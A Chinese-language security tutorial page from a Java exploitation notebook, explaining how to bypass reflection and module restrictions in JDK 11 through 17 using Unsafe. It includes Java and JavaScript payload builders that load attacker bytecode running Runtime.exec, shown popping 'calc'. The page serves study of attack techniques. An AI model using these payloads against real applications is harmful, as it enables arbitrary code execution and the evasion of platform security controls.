Java
  • About This Book
  • 🍖Prerequisites
    • 反射
      • 反射基本使用
      • 高版本JDK反射绕过
      • 反射调用命令执行
      • 反射构造HashMap
      • 方法句柄
    • 类加载
      • 动态加载字节码
      • 双亲委派模型
      • BCEL
      • SPI
    • RMI & JNDI
      • RPC Intro
      • RMI
      • JEP 290
      • JNDI
    • Misc
      • Unsafe
      • 代理模式
      • JMX
      • JDWP
      • JPDA
      • JVMTI
      • JNA
      • Java Security Manager
  • 👻Serial Journey
    • URLDNS
    • SerialVersionUID
    • Commons Collection 🥏
      • CC1-TransformedMap
      • CC1-LazyMap
      • CC6
      • CC3
      • CC2
    • FastJson 🪁
      • FastJson-Basic Usage
      • FastJson-TemplatesImpl
      • FastJson-JdbcRowSetImpl
      • FastJson-BasicDataSource
      • FastJson-ByPass
      • FastJson与原生反序列化(一)
      • FastJson与原生反序列化(二)
      • Jackson的原生反序列化利用
    • Other Components
      • SnakeYaml
      • C3P0
      • AspectJWeaver
      • Rome
      • Spring
      • Hessian
      • Hessian_Only_JDK
      • Kryo
      • Dubbo
  • 🌵RASP
    • JavaAgent
    • JVM
    • ByteCode
    • JNI
    • ASM 🪡
      • ASM Intro
      • Class Generation
      • Class Transformation
    • Rasp防御命令执行
    • OpenRASP
  • 🐎Memory Shell
    • Tomcat-Architecture
    • Servlet API
      • Listener
      • Filter
      • Servlet
    • Tomcat-Middlewares
      • Tomcat-Valve
      • Tomcat-Executor
      • Tomcat-Upgrade
    • Agent MemShell
    • WebSocket
    • 内存马查杀
    • IDEA本地调试Tomcat
  • ✂️JDBC Attack
    • MySQL JDBC Attack
    • H2 JDBC Attack
  • 🎨Templates
    • FreeMarker
    • Thymeleaf
    • Enjoy
  • 🎏MessageQueue
    • ActiveMQ CNVD-2023-69477
    • AMQP CVE-2023-34050
    • Spring-Kafka CVE-2023-34040
    • RocketMQ CVE-2023-33246
  • 🛡️Shiro
    • Shiro Intro
    • Request URI ByPass
    • Context Path ByPass
    • Remember Me反序列化 CC-Shiro
    • CB1与无CC依赖的反序列化链
  • 🍺Others
    • Deserialization Twice
    • A New Blazer 4 getter RCE
    • Apache Commons Jxpath
    • El Attack
    • Spel Attack
    • C3P0原生反序列化的JNDI打法
    • Log4j
    • Echo Tech
      • SpringBoot Under Tomcat
    • CTF 🚩
      • 长城杯-b4bycoffee (ROME反序列化)
      • MTCTF2022(CB+Shiro绕过)
      • CISCN 2023 西南赛区半决赛 (Hessian原生JDK+Kryo反序列化)
      • CISCN 2023 初赛 (高版本Commons Collections下其他依赖的利用)
      • CISCN 2021 总决赛 ezj4va (AspectJWeaver写字节码文件到classpath)
      • D^3CTF2023 (新的getter+高版本JNDI不出网+Hessian异常toString)
      • WMCTF2023(CC链花式玩法+盲读文件)
      • 第六届安洵杯网络安全挑战赛(CB PriorityQueue替代+Postgresql JDBC Attack+FreeMarker)
  • 🔍Code Inspector
    • CodeQL 🧶
      • Tutorial
        • Intro
        • Module
        • Predicate
        • Query
        • Type
      • CodeQL 4 Java
        • Basics
        • DFA
        • Example
    • SootUp ✨
      • Intro
      • Jimple
      • DFA
      • CG
    • Tabby 🔦
      • install
    • Theory
      • Static Analysis
        • Intro
        • IR & CFG
        • DFA
        • DFA-Foundation
        • Interprocedural Analysis
        • Pointer Analysis
        • Pointer Analysis Foundation
        • PTA-Context Sensitivity
        • Taint Anlysis
        • Datalog
Powered by GitBook
On this page
  • 静态常量修改
  • 反射加载字节码
  • JDK11
  • JDK 12/13/14
  • JDK17
  • SumUp
  • Reference

Was this helpful?

  1. 🍖Prerequisites
  2. 反射

高版本JDK反射绕过

静态常量修改

修改static final属性值,关键在于通过反射将字段的final修饰符去掉

在JDK<=11,可以按照如下流程修改:

  1. 通过反射获取java.lang.reflect.Field内部的modifiers Field

  2. 将修改目标字段的 modifiers 修改为非 final

  3. 设置目标字段为新的值

public class FinalTest {
    private static final String secret = "Y0U_C4nNot_M0d1fy_M3";
}

Field modifierField = Class.forName("java.lang.reflect.Field").getDeclaredField("modifiers");
modifierField.setAccessible(true);
Field secret = FinalTest.class.getDeclaredField("secret");
secret.setAccessible(true);
modifierField.setInt(secret, secret.getModifiers() & ~Modifier.FINAL);
secret.set(null, "G0T_Y0U");
System.out.println(secret.get(null));  // G0T_Y0U

但自从 Java 12 开始,直接获取 Field 的 modifiers 字段会得到以下错误

Exception java.lang.NoSuchFieldException: modifiers

at java.base/java.lang.Class.getDeclaredField

👉 https://bugs.openjdk.org/browse/JDK-8210522

为防止安全敏感的字段被修改,JDK12开始反射过滤机制增强

对比 JDK11 和 JDK14 的jdk.internal.reflect.Reflection

可以看到fieldFilterMap增加了Field.class的所有成员,即Field下的任何字段都不能直接通过公共反射方法获取。

跟一下反射调用的流程 getDeclaredField

进入privateGetDeclaredFields,看到这里开始过滤反射字段

这里实际上已经通过getDeclaredFields0获取到了所有字段了

getDeclaredFields0是java.lang.Class下的方法,Reflection中的methodFilterMap并未过滤此方法,因此我们直接反射调用getDeclaredFields0就能获取到Fields的所有成员

Method getDeclaredFields0 = Class.class.getDeclaredMethod("getDeclaredFields0", boolean.class);
getDeclaredFields0.setAccessible(true);
Field[] fields = (Field[]) getDeclaredFields0.invoke(Field.class, false);
Field modifierField = null;
for (Field f : fields) {
    if ("modifiers".equals(f.getName())) {
        modifierField = f;
        break;
    }
}
modifierField.setAccessible(true);
Field secret = FinalTest.class.getDeclaredField("secret");
secret.setAccessible(true);
modifierField.setInt(secret, secret.getModifiers() & ~Modifier.FINAL);
secret.set(null, "G0T_Y0U");
System.out.println(secret.get(null));

上面的绕过在JDK17以下可以成功,JDK17对java* 下的非公共字段进行反射调用获取的话就会直接报错,且看下文分析

反射加载字节码

Java不像其他脚本语言,如js、php、python等有eval函数,可以把字符串当作代码来执行。

因此在Java中最直接的任意代码执行的方式就是加载字节码了。其他代码执行的方式,如EL表达式、js引擎,限于语法的差异,并不能完美地兼容和契合Java自身的语法和类型。

加载字节码的几种方法:

  • URLClassLoader#loadClass:需要出网或文件落地,不好使

  • TransletClassLoader#defineClass:一般通过反序列化漏洞打进来

  • ClassLoader#defineClass:需要通过反射调用

通过JS配合ClassLoader#defineClass来做到任意代码执行

JDK版本更迭史:

  • JDK6、7

    • 引入JS引擎、采用Rhino实现,不支持Java.type等获取Java类型的操作

  • JDK8

    • JS引擎采用Nashorn实现

  • JDK9

    • 引入模块机制

    • 部分非标准库的类被移除

  • JDK11

    • Unsafe.defineClass方法被移除

    • 默认禁止跨包之间反射调用非公共方法(非强制,只是警告)

  • JDK12

    • Reflection类下的fieldFilterMap增加过滤。反射被大大限制

  • JDK15

    • JS引擎被移除JDK

  • JDK17

    • 强封装

    • 不得反射调用未开放模块的非公共方法(强制)

JDK11

public static String getJsPayload2(String code) throws Exception {
    return "var data = '" + code + "';" +
        "var bytes = java.util.Base64.getDecoder().decode(data);" +
        "var int = Java.type(\"int\");" +
        "var defineClassMethod = java.lang.ClassLoader.class.getDeclaredMethod(" +
        "\"defineClass\", bytes.class, int.class, int.class);" +
        "defineClassMethod.setAccessible(true);" +
        "var cc = defineClassMethod.invoke(" +
        "Thread.currentThread().getContextClassLoader(), bytes, 0, bytes.length);" +
        "cc.getConstructor(java.lang.String.class).newInstance(cmd);";
}

public static byte[] getEvilCode(String cmd) throws Exception {
    ClassPool pool = ClassPool.getDefault();
    CtClass clazz = pool.makeClass("a");
    CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
    constructor.setBody("Runtime.getRuntime().exec(\"" + cmd + "\");");
    clazz.addConstructor(constructor);
    clazz.getClassFile().setMajorVersion(49);
    return clazz.toBytecode();
}
@Test
public void jsTest() throws Exception {
    ScriptEngineManager manager = new ScriptEngineManager();
  manager.getEngineByName("js").eval(getJsPayload2(Base64.getEncoder().encodeToString(getEvilCode("calc"))));
}

上面通过js加载字节码会报错

java.lang.reflect.InaccessibleObjectException: Unable to make protected final java.lang.Class java.lang.ClassLoader.defineClass(byte[],int,int) throws java.lang.ClassFormatError accessible: module java.base does not "opens java.lang" to module jdk.scripting.nashorn.scripts

at java.base/java.lang.reflect.AccessibleObject.checkCanSetAccessible

但直接运行下面代码却可以

public static void main(String[] args) throws Exception {
    Class<?> c = Class.forName("java.lang.ClassLoader");
    Method method = c.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
    method.setAccessible(true);
    byte[] bytes = getEvilCode("calc");
    Class<?> aClass = (Class<?>) method.invoke(Thread.currentThread().getContextClassLoader(), bytes, 0, bytes.length);
    aClass.newInstance();
}

java.lang.reflect.Method继承自java.lang.reflect.Executable,Executable和java.lang.reflect.Field均继承自java.lang.reflect.AccessibleObject

AccessibleObject#checkCanSetAccessible用于检测成员是否可以被设置为可访问

可以看到是否可访问取决于如下条件:

  • 目标类为Public

    • 待访问的成员为Public

    • 待访问的成员为Protected、Static,且调用方是目标类的子类

  • 目标类的模块对调用方的模块开放

modifiers Bypass

根据上面的可访问条件,ClassLoader为PUBLIC,我们只需将defineClass方法的修饰符修改为PUBLIC即可

Java版本:

public static void bypassModifier() throws Exception {
    Class<?> clazz = Class.forName("sun.misc.Unsafe");
    Field field = clazz.getDeclaredField("theUnsafe");
    field.setAccessible(true);
    Unsafe unsafe = (Unsafe) field.get(null);

    Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
    Field modifiers = defineClassMethod.getClass().getDeclaredField("modifiers");
    unsafe.putShort((Object) defineClassMethod, unsafe.objectFieldOffset(modifiers), (short) Modifier.PUBLIC);

    byte[] bytes = getEvilCode("calc");
    Class<?> aClass = (Class<?>) defineClassMethod.invoke(Thread.currentThread().getContextClassLoader(), bytes, 0, bytes.length);
    aClass.newInstance();
}

Js版本:

public static String getJsPayload3(String code) throws Exception {
    return "var data = '" + code + "';" +
        "var bytes = java.util.Base64.getDecoder().decode(data);" +
        "var Unsafe = Java.type(\"sun.misc.Unsafe\");" +
        "var field = Unsafe.class.getDeclaredField(\"theUnsafe\");" +
        "field.setAccessible(true);" +
        "var unsafe = field.get(null);" +
        "var Modifier = Java.type(\"java.lang.reflect.Modifier\");" +
        "var byteArray = Java.type(\"byte[]\");" +
        "var int = Java.type(\"int\");" +
        "var defineClassMethod = java.lang.ClassLoader.class.getDeclaredMethod(" +
        "\"defineClass\",byteArray.class,int.class,int.class);" +
        "var modifiers = defineClassMethod.getClass().getDeclaredField(\"modifiers\");" +
        "unsafe.putShort(defineClassMethod, unsafe.objectFieldOffset(modifiers), Modifier.PUBLIC);" +
        "var cc = defineClassMethod.invoke(" +
        "java.lang.Thread.currentThread().getContextClassLoader(),bytes,0,bytes.length);" +
        "cc.newInstance();";
}

override field Bypass

回看setAccessible的调用逻辑

@Override
@CallerSensitive
public void setAccessible(boolean flag) {
    AccessibleObject.checkPermission();
    if (flag) checkCanSetAccessible(Reflection.getCallerClass());
    setAccessible0(flag);
}

checkCanSetAccessible去判断目标的修饰符、目标类是否对调用类开放...最后返回flag再传给setAccessible0

boolean setAccessible0(boolean flag) {
    this.override = flag;
    return flag;
}

setAccessible0直接将flag赋值给this.override,override是其父类AccessibleObject的属性

因此也可以直接修改java.lang.reflect.AccessibleObject的override属性

public static void bypassOverride(Object accessibleObject) throws Exception {
    Field f = Class.forName("sun.misc.Unsafe").getDeclaredField("theUnsafe");
    f.setAccessible(true);
    Unsafe unsafe = (Unsafe) f.get(null);
    Field override = Class.forName("java.lang.reflect.AccessibleObject").getDeclaredField("override");
    unsafe.putBoolean(accessibleObject, unsafe.objectFieldOffset(override), true);
}
Class<?> c = Class.forName("java.lang.ClassLoader");
Method method = c.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
bypassOverride(method);
byte[] bytes = getEvilCode("calc");
Class<?> aClass = (Class<?>) method.invoke(Thread.currentThread().getContextClassLoader(), bytes, 0, bytes.length);
aClass.newInstance();
String bypass = "var bypass = function(obj){" +
    "var Unsafe = Java.type('sun.misc.Unsafe');" +
    "var field = Unsafe.class.getDeclaredField(\"theUnsafe\");" +
    "field.setAccessible(true);" +
    "var unsafe = field.get(null);" +
    "var overrideField =" +
    "java.lang.Class.forName(\"java.lang.reflect.AccessibleObject\").getDeclaredField(\"override\");" +
    "var offset = unsafe.objectFieldOffset(overrideField);" +
    "unsafe.putBoolean(obj, offset, true);};";

JDK>=12之后,反射也过滤java.lang.reflect.AccessibleObject类的所有成员,得通过getDeclaredFields0去获取override属性

JDK 12/13/14

JDK>=12报错提示:没有modifiers字段

Caused by: java.lang.NoSuchFieldException: modifiers at java.base/java.lang.Class.getDeclaredField

fieldFilterMap Bypass

看的BeiChen师傅写的 orz

https://github.com/BeichenDream/Kcon2021Code/blob/master/bypassJdk/JdkSecurityBypass.java

直接把fieldFilterMap置空了。

通过unsafe.defineAnonymousClass创建匿名内部类,由此匿名类来获取类成员偏移量(为什么要创建匿名类是因为fieldFilterMap过滤了Reflection的所有成员,无法直接使用getDeclaredField获取Field),最后再通过unsafe.putObject修改原来Reflection类的静态成员fieldFilterMap,此外还要删除reflectionData反射缓存。

Java版本:

public static void bypassFieldFilterMap() throws Exception {
    Field f = Class.forName("sun.misc.Unsafe").getDeclaredField("theUnsafe");
    f.setAccessible(true);
    Unsafe unsafe = (Unsafe) f.get(null);

    Class<?> reflectionClass = Class.forName("jdk.internal.reflect.Reflection");
    byte[] classBuffer = reflectionClass.getResourceAsStream("Reflection.class").readAllBytes();
    Class<?> reflectionAnonymousClass = unsafe.defineAnonymousClass(reflectionClass, classBuffer, null);
    Field fieldFilterMap = reflectionAnonymousClass.getDeclaredField("fieldFilterMap");

    if (fieldFilterMap.getType().isAssignableFrom(HashMap.class)) {
        unsafe.putObject(reflectionClass, unsafe.staticFieldOffset(fieldFilterMap), new HashMap<>());
    }

    byte[] clz = Class.class.getResourceAsStream("Class.class").readAllBytes();
    Class<?> classAnonymousClass = unsafe.defineAnonymousClass(Class.class, clz, null);
    Field reflectionData = classAnonymousClass.getDeclaredField("reflectionData");
    unsafe.putObject(Class.class, unsafe.objectFieldOffset(reflectionData), null);
}

Js版本:

String bypass = "var bypass = function(){" +
    "var Unsafe = Java.type('sun.misc.Unsafe');" +
    "var HashMap = Java.type('java.util.HashMap');" +
    "var field = Unsafe.class.getDeclaredField(\"theUnsafe\");" +
    "field.setAccessible(true);" +
    "var unsafe = field.get(null);" +
    "var classClass = Java.type(\"java.lang.Class\");" +
    "var reflectionClass = java.lang.Class.forName(\"jdk.internal.reflect.Reflection\");" +
    "var classBuffer = reflectionClass.getResourceAsStream(\"Reflection.class\").readAllBytes();" +
    "var reflectionAnonymousClass = unsafe.defineAnonymousClass(reflectionClass, classBuffer, null);" +
    "var fieldFilterMapField = reflectionAnonymousClass.getDeclaredField(\"fieldFilterMap\");" +
    "if (fieldFilterMapField.getType().isAssignableFrom(HashMap.class)) {" +
    "unsafe.putObject(reflectionClass, unsafe.staticFieldOffset(fieldFilterMapField), new HashMap());" +
    "}" +
    "var clz = java.lang.Class.forName(\"java.lang.Class\").getResourceAsStream(\"Class.class\").readAllBytes();" +
    "var ClassAnonymousClass = unsafe.defineAnonymousClass(java.lang.Class.forName(\"java.lang.Class\"), clz, null);" +
    "var reflectionDataField = ClassAnonymousClass.getDeclaredField(\"reflectionData\");" +
    "unsafe.putObject(classClass, unsafe.objectFieldOffset(reflectionDataField), null);};";

defineAnonymousClass Bypass

虽然JDK11把Unsafe#defineClass移除了,但Unsafe#defineAnonymousClass还在

Field f = Class.forName("sun.misc.Unsafe").getDeclaredField("theUnsafe");
f.setAccessible(true);
Unsafe unsafe = (Unsafe) f.get(null);
unsafe.defineAnonymousClass(Class.class, getEvilCode("calc"), null).newInstance();
public static String getJsPayload5(String code) throws Exception {
    return "var data = '" + code + "';" +
        "var bytes = java.util.Base64.getDecoder().decode(data);" +
        "var theUnsafe = java.lang.Class.forName(\"sun.misc.Unsafe\").getDeclaredField(\"theUnsafe\");" +
        "theUnsafe.setAccessible(true);" +
        "unsafe = theUnsafe.get(null);" +
        "unsafe.defineAnonymousClass(java.lang.Class.forName(\"java.lang.Class\"), bytes, null).newInstance();";
}

JDK17

JDK17中,在checkCanSetAccessible最后一关判断模块是否开放不能通过,导致抛出异常Unable to make xxx accessible: module xxx does not opens xxx to xxx

// package is open to caller
if (declaringModule.isOpen(pn, callerModule)) {
    return true;
}

declaringModule即目标AccessibleObject所在类declaringClass所在的模块

比如java.lang.Class所在java.base

pn是declaringClass的包名

跟进Module#isOpen

/*
* Returns true if this module exports or opens the given package 
* to the given module. If the other module is EVERYONE_MODULE then
* this method tests if the package is exported or opened
* unconditionally.
*/
private boolean implIsExportedOrOpen(String pn, Module other, boolean open) {
    // all packages in unnamed modules are open
    if (!isNamed())
        return true;

    // all packages are exported/open to self
    if (other == this && descriptor.packages().contains(pn))
        return true;

    // all packages in open and automatic modules are open
    if (descriptor.isOpen() || descriptor.isAutomatic())
        return descriptor.packages().contains(pn);

    // exported/opened via module declaration/descriptor
    if (isStaticallyExportedOrOpen(pn, other, open))
        return true;

    // exported via addExports/addOpens
    if (isReflectivelyExportedOrOpen(pn, other, open))
        return true;

    // not exported or open to other
    return false;
}

如何判断目标模块是否开放或导出?

  • unnamed modules对外开放

  • 调用者所在模块就是目标模块,并且pn是目标模块下的包

  • 目标模块设置设置对外开放或者它是automatic模块

  • 目标模块是否导出pn包(isStaticallyExportedOrOpen)

  • 目标模块是否反射可导出pn包(isReflectivelyExportedOrOpen)

( JDK<17,这里isStaticallyExportedOrOpen返回true,模块默认开放所有包)

实际上这里有些条件在checkCanSetAccessible开始已经判定过了

private boolean checkCanSetAccessible(Class<?> caller,
                                      Class<?> declaringClass,
                                      boolean throwExceptionIfDenied) {
    Module callerModule = caller.getModule();
    Module declaringModule = declaringClass.getModule();

    if (callerModule == declaringModule) return true;
    if (callerModule == Object.class.getModule()) return true;
    if (!declaringModule.isNamed()) return true;
}
  • callerModule和declaringModule一致

  • callerModule和Object所在模块一致

  • declaringModule是unnamed modules

因此我们通过Unsafe修改当前调用者的模块为Object所在模块

(用Unsafe修改,刚好fieldFilterMap没有过滤Class的module成员)

还是以最开始的修改final字段为例

// 设置当前调用者的模块为Object所在模块java.base
Class UnsafeClass = Class.forName("sun.misc.Unsafe");
Field unsafeField = UnsafeClass.getDeclaredField("theUnsafe");
unsafeField.setAccessible(true);
Unsafe unsafe = (Unsafe) unsafeField.get(null);
Module objModule = Object.class.getModule();
long addr = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));
unsafe.getAndSetObject(FinalBypass.class, addr, objModule);

Method getDeclaredFields0 = Class.forName("java.lang.Class").getDeclaredMethod("getDeclaredFields0", boolean.class);
getDeclaredFields0.setAccessible(true);
Field[] fields = (Field[]) getDeclaredFields0.invoke(Field.class, false);
Field modifierField = null;
for (Field field : fields) {
    if (field.getName().equals("modifiers")) {
        modifierField = field;
        break;
    }
}
if (modifierField == null)
    throw new NoSuchFieldException("modifiers");
modifierField.setAccessible(true);
Field secret = FinalTest.class.getDeclaredField("secret");
secret.setAccessible(true);
modifierField.setInt(secret, secret.getModifiers() & ~Modifier.FINAL);
secret.set(null, "G0T_Y0U");
System.out.println(secret.get(null));  // G0T_Y0U

SumUp

总的来说,高版本JDK对于反射的限制有两点:

  • JDK >= 12,fieldFilterMap新增黑名单类,反射获取字段受限

  • JDK >= 9,反射调用方法/获取非公开字段,checkCanSetAccessible判断模块是否对外开放,非public类或非public方法/字段无法调用/获取

相应的绕过:

  • JDK <= 11,对于公开类下的非公开成员的访问,修改其访问修饰符为public,或者修改AccessibleObject的override属性为true

  • 12 <= JDK < 17,Unsafe实例化一个Reflection,获取fieldFilterMap偏移量,再置为空

  • JDK = 17,修改当前调用类的module为Object的module

Reference

  • 2023KCon 《Java表达式攻防下的黑魔法》

  • https://github.com/BeichenDream/Kcon2021Code/blob/master/bypassJdk/JdkSecurityBypass.java

Previous反射基本使用Next反射调用命令执行

Last updated 7 months ago

Was this helpful?

image-20230901124958388
image-20230901125843607
image-20230901125937031
image-20230901130323163
image-20230901135104305
image-20230901135238665